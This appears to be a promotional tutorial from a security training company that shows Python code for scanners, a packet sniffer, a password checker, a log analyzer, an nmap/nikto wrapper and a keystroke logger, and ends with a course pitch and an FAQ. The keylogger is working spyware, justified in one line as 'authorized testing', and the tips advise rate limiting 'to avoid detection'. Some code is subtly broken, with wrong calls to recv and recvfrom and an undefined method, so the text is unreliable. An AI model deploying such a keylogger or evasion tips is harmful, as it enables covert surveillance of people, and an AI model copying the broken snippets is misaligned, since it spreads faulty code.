The Hacker's Toolkit: Building Your Own Security Tools
Off-the-shelf tools are great, but sometimes you need something custom. Whether you're doing penetration testing, bug bounty hunting, or security research — building your own tools gives you an edge that generic software can't match.
Python is the perfect language for this because it lets you prototype quickly and iterate on complex security tools without getting bogged down in language complexity.
Building a Vulnerability Scanner
A vulnerability scanner automates the process of finding security weaknesses in systems. Let's build a basic one:
```python
import socket
import requests
from concurrent.futures import ThreadPoolExecutor
class BasicVulnScanner:
def __init__(self, target):
self.target = target
self.findings = []
def check_open_ports(self, ports=[21, 22, 23, 25, 80, 443, 445, 3389, 8080]):
open_ports = []
for port in ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
if sock.connect_ex((self.target, port)) == 0:
open_ports.append(port)
sock.close()
return open_ports
def check_http_headers(self, url):
issues = []
try:
resp = requests.get(url, timeout=5)
if 'X-Frame-Options' not in resp.headers:
issues.append('Missing X-Frame-Options header')
if 'X-Content-Type-Options' not in resp.headers:
issues.append('Missing X-Content-Type-Options header')
except:
pass
return issues
def check_ftp(self, port=21):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect((self.target, port))
banner = sock.recv.decode()
sock.close()
return {'port': port, 'banner': banner.strip()}
except:
return None
def run_scan(self):
results = {
'target': self.target,
'open_ports': self.check_open_ports(),
'http_issues': self.check_http_headers(f'http://{self.target}'),
'ftp_info': self.check_ftp()
}
return results
```
Building a Network Packet Sniffer
Packet sniffers capture and analyze network traffic. They're essential for network security analysis:
```python
import socket
import struct
import textwrap
class PacketSniffer:
def __init__(self):
self.running = False
def ethernet_frame(self, data):
dest_mac, src_mac, prototype = struct.unpack('! 6s 6s H', data[:14])
return self.get_mac_addr(dest_mac), self.get_mac_addr(src_mac), socket.ntohs(prototype), data[14:]
def get_mac_addr(self, bytes_addr):
return ':'.join(map('{:02x}'.format, bytes_addr)).upper()
def ipv4_packet(self, data):
version_header_length = data[0]
version = version_header_length >> 4
header_length = (version_header_length & 15) * 4
ttl, proto, src, target = struct.unpack('! 8x B B 2x 4s 4s', data[:20])
return ttl, proto, self.format_ipv4(src), self.format_ipv4(target), data[header_length:]
def format_ipv4(self, addr):
return '.'.join(map(str, addr))
def tcp_segment(self, data):
src_port, dest_port, sequence, acknowledgement, offset_reserved_flags = struct.unpack('! H H L L H', data[:14])
offset = (offset_reserved_flags >> 12) * 4
return src_port, dest_port, sequence, acknowledgement, offset
def sniff(self, count=10):
self.running = True
raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
raw_socket.bind(('0.0.0.0', 0))
for _ in range(count):
packet = raw_socket.recvfrom[0]
print(self.analyze_packet(packet))
```
Building a Password Strength Checker
Password security is critical. Here's a tool to evaluate password strength:
```python
import re
import math
class PasswordStrengthChecker:
def __init__(self):
self.common_passwords = ['password', '123456', 'admin', 'letmein', 'welcome']
def check_length(self, password):
if len(password) < 8:
return 0, "Very Weak (minimum 8 characters needed)"
elif len(password) < 12:
return 40, "Weak"
elif len(password) < 16:
return 70, "Moderate"
return 100, "Strong"
def check_complexity(self, password):
score = 0
if re.search(r'[a-z]', password):
score += 10
if re.search(r'[A-Z]', password):
score += 15
if re.search(r'[0-9]', password):
score += 15
if re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
score += 20
return score
def check_patterns(self, password):
issues = []
if password.lower() in self.common_passwords:
issues.append("Common password detected")
if re.search(r'(.)\1{2,}', password):
issues.append("Repeated characters found")
if re.search(r'(012|123|234|345|456|567|678|789|890)', password):
issues.append("Sequential numbers found")
return issues
def analyze(self, password):
length_score, length_feedback = self.check_length(password)
complexity_score = self.check_complexity(password)
patterns = self.check_patterns(password)
total_score = min(100, length_score + complexity_score - (len(patterns) * 10))
return {
'score': total_score,
'length_feedback': length_feedback,
'issues': patterns,
'recommendations': self.get_recommendations(password)
}
def get_recommendations(self, password):
recs = []
if len(password) < 12:
recs.append("Use at least 12 characters")
if not re.search(r'[A-Z]', password):
recs.append("Add uppercase letters")
if not re.search(r'[!@#$%^&*()]', password):
recs.append("Include special characters")
return recs
```
Building a Web Directory Scanner
Directory scanning is crucial for web application testing:
```python
import requests
from concurrent.futures import ThreadPoolExecutor
class DirectoryScanner:
def __init__(self, base_url, wordlist=None):
self.base_url = base_url.rstrip('/')
self.wordlist = wordlist or ['admin', 'login', 'backup', 'config', 'api', 'test']
def check_path(self, path):
try:
resp = requests.get(f'{self.base_url}/{path}', timeout=3, allow_redirects=False)
if resp.status_code == 200:
return {'path': path, 'status': 200, 'size': len(resp.content)}
elif resp.status_code in [301, 302]:
return {'path': path, 'status': resp.status_code, 'redirect': resp.headers.get('Location')}
except:
pass
return None
def scan(self, threads=10):
found = []
with ThreadPoolExecutor(max_workers=threads) as executor:
results = executor.map(self.check_path, self.wordlist)
for result in results:
if result:
found.append(result)
return found
```
Building a Log Analyzer
Security teams spend hours analyzing logs. Automate it:
```python
import re
from collections import Counter
from datetime import datetime
class LogAnalyzer:
def __init__(self, log_file):
self.log_file = log_file
self.failed_logins = []
self.error_counts = Counter()
self.suspicious_ips = []
def parse_apache_log(self, line):
pattern = r'(\S+) \S+ \S+ \[([^\]]+)\] "([^"]+)" (\d+) (\d+)'
match = re.match(pattern, line)
if match:
return {
'ip': match.group(1),
'timestamp': match.group(2),
'request': match.group(3),
'status': int(match.group(4)),
'size': int(match.group(5))
}
return None
def detect_failed_logins(self, pattern=None):
pattern = pattern or r'(?i)(failed|password|login|invalid|auth)'
findings = []
with open(self.log_file, 'r') as f:
for line in f:
if re.search(pattern, line):
findings.append(line.strip())
return findings
def ip_analysis(self):
ip_counts = Counter()
with open(self.log_file, 'r') as f:
for line in f:
parsed = self.parse_apache_log(line)
if parsed:
ip_counts[parsed['ip']] += 1
return ip_counts.most_common(10)
```
Building a Keylogger
For authorized security testing, keyloggers are important tools:
```python
import threading
import time
class SimpleKeylogger:
def __init__(self, log_file='keylog.txt'):
self.log_file = log_file
self.running = False
self.special_keys = {
'Key.enter': '[ENTER]',
'Key.backspace': '[BACKSPACE]',
'Key.space': ' ',
'Key.shift': '',
'Key.tab': '[TAB]'
}
def on_press(self, key):
try:
key_name = str(key).replace("'", "")
if key_name in self.special_keys:
to_log = self.special_keys[key_name]
else:
to_log = key_name
with open(self.log_file, 'a') as f:
f.write(to_log)
except Exception as e:
pass
def start(self):
from pynput import keyboard
self.running = True
listener = keyboard.Listener(on_press=self.on_press)
listener.start()
def stop(self):
self.running = False
```
Tool Integration and Automation
The real power comes from combining tools:
```python
import json
import subprocess
from datetime import datetime
class SecurityToolchain:
def __init__(self, target):
self.target = target
self.results = []
def run_nmap(self, ports='1-1000'):
cmd = f'nmap -sV -oX nmap_{self.target}.xml {self.target} -p {ports}'
subprocess.run(cmd, shell=True)
return f'nmap_{self.target}.xml'
def run_nikto(self):
cmd = f'nikto -h http://{self.target} -output nikto_{self.target}.txt'
subprocess.run(cmd, shell=True)
return f'nikto_{self.target}.txt'
def generate_report(self):
report = {
'target': self.target,
'timestamp': datetime.now().isoformat(),
'scans': self.results
}
with open(f'report_{self.target}.json', 'w') as f:
json.dump(report, f, indent=2)
```
Best Practices for Security Tool Development
- Always validate inputs to prevent injection
- Handle timeouts and network errors gracefully
- Add verbose logging for debugging
- Use threading for faster scans
- Implement rate limiting to avoid detection
- Store results in structured formats (JSON, CSV)
- Add encryption for sensitive data
Learning Path: From Scripts to Tools
Start by writing single-purpose scripts. Then:
- Add error handling
- Add logging
- Add configuration options
- Add output formatting
- Build CLI interfaces
- Create modular architectures
Build Your Security Toolkit Today
Cyber Defence's Ethical Hacking course teaches you to build professional-grade security tools from scratch. Learn Python scripting, network security, and automation with hands-on practice in our cyber range.
Frequently Asked Questions
**How do I create a vulnerability scanner in Python?**
Start with socket programming for port scanning, then add HTTP header checks. Use threading for speed. Build a findings database to track results. Our course covers this in detail.
**What Python libraries are used for cybersecurity tools?**
Key libraries include: scapy (packet manipulation), requests (HTTP), nmap (network scanning), paramiko (SSH), pynput (keylogging for authorized testing), and hashlib (cryptography).
**Can I build a penetration testing tool with Python?**
Yes. Python is the most popular language for custom penetration testing tools. You can build scanners, exploits, enumeration scripts, and post-exploitation tools.
**How do I make my security tools faster?**
Use concurrent.futures or threading for parallel operations. Implement caching for repeated checks. Optimize regex patterns. Use C extensions where needed.
**Is building custom tools better than using existing ones?**
It depends. Custom tools offer flexibility and can target specific vulnerabilities. However, established tools like Metasploit and Burp Suite are well-tested. Use both.

